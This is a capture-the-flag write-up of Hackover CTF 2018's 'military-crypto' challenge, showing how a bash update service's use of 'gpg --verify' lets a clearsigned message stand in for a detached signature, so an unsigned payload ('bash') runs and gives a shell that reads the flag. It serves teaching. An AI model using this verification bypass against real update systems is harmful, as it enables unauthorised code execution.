Tags: bash gpg
Rating:
This is CTF Gandalf, presenting a new writeup of Hackover CTF 2018's `military-crypto` challenge.
Connecting to military-crypto.ctf.hackover.de:1337 presents us with a CLI
```
====================================================
== secure update service
we didn't roll our own, powered by the
best crypto known to humanity
====================================================
1) Update firmware 3) Current firmware
2) Download firmware 4) Quit
>
```
Option 2, `Download firmware`, gives us the 'firmware' - which happens to be a bash script - in base64 encoding, and a corresponding detached signature also encoded as base64.
The firmware is
```bash
#!/bin/bash
set -eu
SELF=$(pwd)/$0
DIR=$(mktemp -d)
cd "$DIR"
cp -r /home/ctf/.gnupg .
export GNUPGHOME="${DIR}/.gnupg"
chmod o-rx .gnupg
menu() {
cat <<EOF
====================================================
== secure update service
we didn't roll our own, powered by the
best crypto known to humanity
====================================================
EOF
PS3="> "
opts=("Update firmware" "Download firmware" "Current firmware" "Quit")
select opt in "${opts[@]}"; do
case "${REPLY}" in
1 ) update_firmware; break;;
2 ) download_firmware; break;;
3 ) current_firmware; break;;
4 ) echo "EOF!"; exit 0;;
*) echo "Unknown option"; continue;;
esac; done
}
update_firmware() {
cat <<EOF
====================================================
1) send update binary as base64
2) finish with an empty line
3) send detached signature as base64
4) finish with an empty line
====================================================
EOF
echo 'Reading firmware...'
touch update.bin.b64
while IFS='' read -r firmware; do
if [ -z "$firmware" ]; then break; fi
echo "$firmware" >> update.bin.b64
done
base64 -d update.bin.b64 > update.bin
rm update.bin.b64
echo 'Reading detatched signaure...'
touch update.bin.sig
while IFS='' read -r signature; do
if [ -z "$signature" ]; then break; fi
echo "$signature" >> update.bin.sig.b64
done
base64 -d update.bin.sig.b64 > update.bin.sig
rm update.bin.sig.b64
if ! gpg --verify update.bin.sig; then
set +x
echo '!!!!!!!!!!!!!!!!!!!!!!!'
echo '!! INVALID SIGNATURE !!'
echo '!!!!!!!!!!!!!!!!!!!!!!!'
exit 1
else
chmod +x update.bin
echo 'Updating....'
./update.bin
echo 'Rebooting....'
exit 0
fi
}
download_firmware() {
echo "Firmware:"
cat "${SELF}"|base64|tr -d '\n'
echo
echo "Signature:"
cat "${SELF}.sig"|base64|tr -d '\n'
echo
}
current_firmware() {
cat <<EOF
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
Version: 1.0
Created: 2018-10-03
Audited: KRYPTOCHEF
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEwSuuOHnM9KfOOGG3QoUB03HVrd8FAlu2ra4ACgkQQoUB03HV
rd9kow//b/uQQonqD02g7VXMBYIUcCljLsGaOgvdEXSA6r6y5iym4DVLrDuZrIHP
ryAV30SJkm6gaxjcA19zYBg79tqcolhJPq4Tsd8bCOBEWG31Gk1LN7mzJbCk5TMO
ylf02qYbgpCULPkNxH87s4S8Oo7z0buR50jWAbe28fPkqyF0AG4iConSeIhKtMYB
LNFIdxXm3u99su5BATf13jSGrIIg+iO8aT7xrohOyaY75FlvsB6DBeDLTwf/9z//
SKVixZVKuoh+b4hevECqmwRB3t/NvyIbHz8e70WHXhWg6CXJMMz41YZylGhwNeDF
I3sHjIJ1wx4FDzH1WSlVcrYSOP4UZacgPzwxjMehvnUW2IGFXRiwsh1z21HI8Nlx
N0YZ5b+uwpj75AmP4mNDYvoGHHk1+fqna4a39y2t7qQEWMkEq2YQiuDQjCGAprC+
Q++8HAtODf566z2pB1h8dsdvOWDzzfMS8z3RC6LFydMEiRzVi7sL0tawY60JPBxH
DX2D6njzPi5XjRCNJiGqrK2qsL2aNxDn7zBQExvEUmgLsSR574YUILLa0xsMhMTA
Zn3ht/Rx7yxZJoN8FM0UvajbFdcDmgj2iullEq3aIpmQChoVnb/yygpCq0353UtY
OWZKfxCcH9mQSbcQCjDUFgr91nTXehMQ6d64bSbLxgZuqWwPoy4=
=IbNc
-----END PGP SIGNATURE-----
EOF
}
while true; do
menu
done
```
Examining that, the update_firmware function appears to take:
- The target update encoded as base64
- A detached pgp signature encoded as base64
Or so it would seem.
Now, let's take a closer look at the gpg verification step:
```bash
if ! gpg --verify update.bin.sig; then
set +x
echo '!!!!!!!!!!!!!!!!!!!!!!!'
echo '!! INVALID SIGNATURE !!'
echo '!!!!!!!!!!!!!!!!!!!!!!!'
exit 1
else
chmod +x update.bin
echo 'Updating....'
./update.bin
echo 'Rebooting....'
exit 0
fi
```
A-ha! As we can see, it's using `gpg --verify` - which does not only verify detached signatures, but also regular signed files.
Good on us, as we have a complete signed message embedded in our firmware dump:
```
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
Version: 1.0
Created: 2018-10-03
Audited: KRYPTOCHEF
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEwSuuOHnM9KfOOGG3QoUB03HVrd8FAlu2ra4ACgkQQoUB03HV
rd9kow//b/uQQonqD02g7VXMBYIUcCljLsGaOgvdEXSA6r6y5iym4DVLrDuZrIHP
ryAV30SJkm6gaxjcA19zYBg79tqcolhJPq4Tsd8bCOBEWG31Gk1LN7mzJbCk5TMO
ylf02qYbgpCULPkNxH87s4S8Oo7z0buR50jWAbe28fPkqyF0AG4iConSeIhKtMYB
LNFIdxXm3u99su5BATf13jSGrIIg+iO8aT7xrohOyaY75FlvsB6DBeDLTwf/9z//
SKVixZVKuoh+b4hevECqmwRB3t/NvyIbHz8e70WHXhWg6CXJMMz41YZylGhwNeDF
I3sHjIJ1wx4FDzH1WSlVcrYSOP4UZacgPzwxjMehvnUW2IGFXRiwsh1z21HI8Nlx
N0YZ5b+uwpj75AmP4mNDYvoGHHk1+fqna4a39y2t7qQEWMkEq2YQiuDQjCGAprC+
Q++8HAtODf566z2pB1h8dsdvOWDzzfMS8z3RC6LFydMEiRzVi7sL0tawY60JPBxH
DX2D6njzPi5XjRCNJiGqrK2qsL2aNxDn7zBQExvEUmgLsSR574YUILLa0xsMhMTA
Zn3ht/Rx7yxZJoN8FM0UvajbFdcDmgj2iullEq3aIpmQChoVnb/yygpCq0353UtY
OWZKfxCcH9mQSbcQCjDUFgr91nTXehMQ6d64bSbLxgZuqWwPoy4=
=IbNc
-----END PGP SIGNATURE-----
```
This effectively allows us to feed an arbitrary update payload + this signed message instead of a detached signature, and gpg will happily verify the regular signed message instead of the actual payload - only printing a warning that it is not, in fact, verifying it as a detached signature.
To examine the system and find the flag, our update payload consists of a mere `base64 <<< 'bash'`, and the signed message obtained from the firmware dump.
This should allow us to acquire an interactive shell.
```
> 1
====================================================
1) send update binary as base64
2) finish with an empty line
3) send detached signature as base64
4) finish with an empty line
====================================================
Reading firmware...
YmFzaAo=
Reading detatched signaure...
LS0tLS1CRUdJTiBQR1AgU0lHTkVEIE1FU1NBR0UtLS0tLQpIYXNoOiBTSEEyNTYKClZlcnNpb246
IDEuMApDcmVhdGVkOiAyMDE4LTEwLTAzCkF1ZGl0ZWQ6IEtSWVBUT0NIRUYKCi0tLS0tQkVHSU4g
UEdQIFNJR05BVFVSRS0tLS0tCgppUUl6QkFFQkNBQWRGaUVFd1N1dU9Ibk05S2ZPT0dHM1FvVUIw
M0hWcmQ4RkFsdTJyYTRBQ2drUVFvVUIwM0hWCnJkOWtvdy8vYi91UVFvbnFEMDJnN1ZYTUJZSVVj
Q2xqTHNHYU9ndmRFWFNBNnI2eTVpeW00RFZMckR1WnJJSFAKcnlBVjMwU0prbTZnYXhqY0ExOXpZ
Qmc3OXRxY29saEpQcTRUc2Q4YkNPQkVXRzMxR2sxTE43bXpKYkNrNVRNTwp5bGYwMnFZYmdwQ1VM
UGtOeEg4N3M0UzhPbzd6MGJ1UjUwaldBYmUyOGZQa3F5RjBBRzRpQ29uU2VJaEt0TVlCCkxORklk
eFhtM3U5OXN1NUJBVGYxM2pTR3JJSWcraU84YVQ3eHJvaE95YVk3NUZsdnNCNkRCZURMVHdmLzl6
Ly8KU0tWaXhaVkt1b2grYjRoZXZFQ3Ftd1JCM3QvTnZ5SWJIejhlNzBXSFhoV2c2Q1hKTU16NDFZ
WnlsR2h3TmVERgpJM3NIaklKMXd4NEZEekgxV1NsVmNyWVNPUDRVWmFjZ1B6d3hqTWVodm5VVzJJ
R0ZYUml3c2gxejIxSEk4Tmx4Ck4wWVo1Yit1d3BqNzVBbVA0bU5EWXZvR0hIazErZnFuYTRhMzl5
MnQ3cVFFV01rRXEyWVFpdURRakNHQXByQysKUSsrOEhBdE9EZjU2NnoycEIxaDhkc2R2T1dEenpm
TVM4ejNSQzZMRnlkTUVpUnpWaTdzTDB0YXdZNjBKUEJ4SApEWDJENm5qelBpNVhqUkNOSmlHcXJL
MnFzTDJhTnhEbjd6QlFFeHZFVW1nTHNTUjU3NFlVSUxMYTB4c01oTVRBClpuM2h0L1J4N3l4Wkpv
TjhGTTBVdmFqYkZkY0RtZ2oyaXVsbEVxM2FJcG1RQ2hvVm5iL3l5Z3BDcTAzNTNVdFkKT1daS2Z4
Q2NIOW1RU2JjUUNqRFVGZ3I5MW5UWGVoTVE2ZDY0YlNiTHhnWnVxV3dQb3k0PQo9SWJOYwotLS0t
LUVORCBQR1AgU0lHTkFUVVJFLS0tLS0K
gpg: Signature made Fri Oct 5 00:17:50 2018 UTC
gpg: using RSA key C12BAE3879CCF4A7CE3861B7428501D371D5ADDF
gpg: key 428501D371D5ADDF marked as ultimately trusted
gpg: checking the trustdb
gpg: marginals needed: 3 completes needed: 1 trust model: pgp
gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
gpg: Good signature from "Military Update Authority (fo real)" [ultimate]
gpg: WARNING: not a detached signature; file 'update.bin' was NOT verified!
Updating....
bash: cannot set terminal process group (1): Not a tty
bash: no job control in this shell
bash-4.4$
```
There we go.
Finding the flag was rather easy afterwards:
```
bash-4.4$ ls ~
flag.txt pubkey.asc pwnable pwnable.sig
bash-4.4$ cat ~/flag.txt
hackover18{r0ll_y0_0wn_crypt0_w1th_pgp}
```
That's about it. I hope the writeup was clear & detailed.
__CTF Gandalf__